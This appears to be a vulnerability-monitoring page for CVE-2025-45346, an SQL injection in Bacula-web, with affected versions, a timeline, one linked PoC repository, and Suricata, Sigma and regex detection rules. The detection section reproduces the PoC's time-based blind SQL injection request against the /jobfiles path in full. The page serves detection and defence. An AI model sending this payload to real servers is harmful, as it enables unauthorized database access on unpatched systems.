PoC Monitor
← All CVEs
CVE-2025-45346published 29 Jul 2025 00:00 UTCData: JSON · API

CVE-2025-45346

SQL Injection vulnerability in Bacula-web before v.9.7.1 allows a remote attacker to execute arbitrary code via a crafted HTTP GET request.

First public PoC 1.9 daysafter publication · 30 Jul 2025
Public PoCs11 on GitHub
CVSS8.1high · scored by CISA ADP · CWE-89
CISA KEV Not listednot known exploited

Affected versions and mitigation

From the CVE record, GitHub Security Advisories and the vendor's references.

Affected

bacula-web/bacula-web (Packagist)
  • < 9.7.1

Fixed in 9.7.1

from GitHub Security Advisory GHSA-hq25-vp56-qr86

Mitigation

Upgrade bacula-web/bacula-web to 9.7.1 or later.

References

Timeline

Days relative to CVE publication
-2t=0+2+4+6+8CVE published29 Jul 2025 · t = 0First public PoC30 Jul 2025 · t+1.9d

First public PoC 1.9 days after publication; not in CISA KEV. First PoC: 0xsu3ks/CVE-2025-45346 (created 30 Jul 2025, found by us: backfilled).

PoC repositories

Found on GitHub.

1 PoCs

PoCs 1
RepositoryCreatedStarsAssessment
0xsu3ks/CVE-2025-45346 30 Jul 2025 +1.9 d 0 PoC

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

PoC characteristics

What to hunt for in your logs · from 1 PoC repo

GET /jobfiles/29/1/x%27%20OR%20TRUE%20AND%20(SELECT%201%20FROM%20pg_sleep(2)%20WHERE%20SUBSTRING(version(),{var},1)=%27{var}%27)%20IS%20NULL)%20--%20

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Referer: http://192.168.1.47/jobs Upgrade-Insecure-Requests: 1
PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Seen in
1 repo: 0xsu3ks/CVE-2025-45346
Evidence
0xsu3ks/CVE-2025-45346/cve-2025-45346.py:28

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

GET /jobfiles/29/1/x%27%20OR%20TRUE%20AND%20(SELECT%201%20FROM%20pg_sleep(2)%20WHERE%20SUBSTRING(version(),{var},1)=%27{var}%27)%20IS%20NULL)%20--%20
(?i)^/jobfiles/29/1/x%27%20OR%20TRUE%20AND%20\(SELECT%201%20FROM%20pg_sleep\(2\)%20WHERE%20SUBSTRING\(version\(\),[^/?#]*,1\)=%27[^/?#]*%27\)%20IS%20NULL\)%20--%20(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

GET /jobfiles/29/1/x%27%20OR%20TRUE%20AND%20(SELECT%201%20FROM%20pg_sleep(2)%20WHERE%20SUBSTRING(version(),{var},1)=%27{var}%27)%20IS%20NULL)%20--%20
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2025-45346 CVE-2025-45346 exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/jobfiles/29/1/x%27%20OR%20TRUE%20AND%20(SELECT%201%20FROM%20pg_sleep(2)%20WHERE%20SUBSTRING(version(),"; http.uri; content:"%27)%20IS%20NULL)%20--%20"; http.uri; content:",1)=%27"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/avif,image/webp,image/apng,*/*|3b|q=0.8,application/signed-exchange|3b|v=b3|3b|q=0.7"; nocase; http.header; content:"Accept-Language: en-US,en|3b|q=0.9"; nocase; http.header; content:"Cache-Control: max-age=0"; nocase; http.header; content:"Referer: http://192.168.1.47/jobs"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2025-45346; classtype:web-application-attack; sid:9435701; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

GET /jobfiles/29/1/x%27%20OR%20TRUE%20AND%20(SELECT%201%20FROM%20pg_sleep(2)%20WHERE%20SUBSTRING(version(),{var},1)=%27{var}%27)%20IS%20NULL)%20--%20
title: CVE-2025-45346 exploit attempt (CVE-2025-45346)
id: gg-pocmon-cve-2025-45346-9435701
status: experimental
description: Request pattern taken from public PoCs for CVE-2025-45346. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2025-45346
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/jobfiles/29/1/x%27%20OR%20TRUE%20AND%20(SELECT%201%20FROM%20pg_sleep(2)%20WHERE%20SUBSTRING(version(),'
      - '%27)%20IS%20NULL)%20--%20'
      - ',1)=%27'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2025.45346